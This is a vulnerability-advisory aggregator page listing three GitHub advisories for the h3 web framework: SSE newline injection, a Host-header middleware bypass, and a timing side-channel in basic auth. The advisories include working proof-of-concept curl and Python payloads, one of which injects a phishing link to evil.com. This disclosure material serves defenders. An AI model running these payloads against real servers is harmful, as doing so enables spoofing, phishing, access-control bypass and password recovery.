Where
AND
-Infinity
0
Severity
10
EPSS
0.01%
CRLF Injection
AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N

Summary

createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.

Details

The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:

typescript export function formatEventStreamComment(comment: string): string { return : ${comment}\n\n; }

export function formatEventStreamMessage(message: EventStreamMessage): string { let result = ""; if (message.id) { result += id: ${message.id}\n; } if (message.event) { result += event: ${message.event}\n; } if (typeof message.retry === "number" && Number.isInteger(message.retry)) { result += retry: ${message.retry}\n; } result += data: ${message.data}\n\n; return result; }

The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.

None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:

1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives 2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one 3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS) 4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection

Injection via the event field

Intended wire format: Actual wire format (with \n injection):

event: message event: message data: attacker: hey event: admin ← INJECTED data: ALLUSERSHACKED ← INJECTED data: attacker: hey

The browser's EventSource API parses these as two separate events: one message event and one admin event.

Injection via the data field

Intended: Actual (with \n\n injection):

event: message event: message data: bob: hi data: bob: hi ← event boundary event: system ← INJECTED event data: Reset: evil.com ← INJECTED data

Before exploit: <img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />

<img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" />

PoC

Vulnerable server (sse-server.ts)

A realistic chat/notification server that broadcasts user input via SSE:

typescript import { H3, createEventStream, getQuery } from "h3"; import { serve } from "h3/node";

const app = new H3(); const clients: any[] = [];

app.get("/events", (event) => { const stream = createEventStream(event); clients.push(stream); stream.onClosed(() => { clients.splice(clients.indexOf(stream), 1); stream.close(); }); return stream.send(); });

app.get("/send", async (event) => { const query = getQuery(event); const user = query.user as string; const msg = query.msg as string; const type = (query.type as string) || "message";

for (const client of clients) { await client.push({ event: type, data: ${user}: ${msg} }); }

return { status: "sent" }; });

serve({ fetch: app.fetch });

Exploit

bash 1. Inject fake "admin" event via event field curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"

2. Inject separate phishing event via data field curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"

3. Inject retry directive for reconnection DoS curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"

Raw wire format proving injection

event: message event: admin data: ALLUSERSCOMPROMISED data: attacker: legit

The browser's EventSource fires this as an admin event with data ALLUSERSCOMPROMISED — entirely controlled by the attacker.

Proof:

<img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" />

<img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" />

Impact

An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.

Attack scenarios:

- Cross-user content injection — inject fake messages in chat applications - Phishing — inject fake system notifications with malicious links - Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system) - Reconnection DoS — inject retry: 1 to force all clients to reconnect every 1ms - Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection

This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.02%
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

H3 NodeRequestUrl bugs

Vulnerable pieces of code : js import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3"; let app = new H3()

const internalOnly = defineHandler((event, next) => { const token = event.headers.get("x-internal-key");

if (token !== "SUPERRANDOMCANNOTBELEAKED") { return new Response("Forbidden", { status: 403 }); }

return next(); }); const logger = defineHandler((event, next) => { console.log("Logging : " + event.url.hostname) return next() }) app.use(logger); app.use("/internal/run", internalOnly);

app.get("/internal/run", () => { return "Internal OK"; });

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url.url

It will lead to trigger one specials method

js // url.mjs FastURL get url() { if (this.#url) return this.#url; this.#url = new NativeURL(this.href); this.#href = void 0; this.#protocol = void 0; this.#host = void 0; this.#pathname = void 0; this.#search = void 0; this.#searchParams = void 0; this.#pos = void 0; return this.#url; }

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code : js this.#url = new NativeURL(this.href); Where is the this.href comes from ? js get href() { if (this.#url) return this.#url.href; if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; return this.#href; } Because the this.#url is still null so this.#href is built up by : js if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares js handler(event) { const route = this"~findRoute"; if (route) { event.context.params = route.params; event.context.matchedRoute = route.data; } const routeHandler = route?.data.handler || NoHandler; const middleware = this"~getMiddleware"; return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event); }

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc : py import requests url = "http://localhost:3000" headers = { "Host":f"localhost:3000/abchehe?" } res = requests.get(f"{url}/internal/run",headers=headers) print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger url() from class FastURL and need a fix immediately.

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
EPSS
0.03%
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary A Timing Side-Channel vulnerability exists in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections.

Details The vulnerability is located in the requireBasicAuth function. The code performs a standard string comparison between the user-provided password and the expected password:

~~~typescript if (opts.password && password !== opts.password) { throw autheFailed(event, opts?.realm); } ~~~

In V8 (and most runtime environments), the !== operator is optimized to "fail fast." It stops execution and returns false as soon as it encounters the first mismatched byte. If the first character is wrong, it returns immediately. If the first character is correct but the second is wrong, it takes slightly longer.

By statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time.

PoC This vulnerability is exploitable in real-world scenarios without direct access to the server machine.

To reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time: 1. Packet A: Contains a password that is known to be incorrect starting at the first character (e.g., AAAA...). 2. Packet B: Contains a password where the first character is a guess (e.g., B...).

By measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely.

Impact

This vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203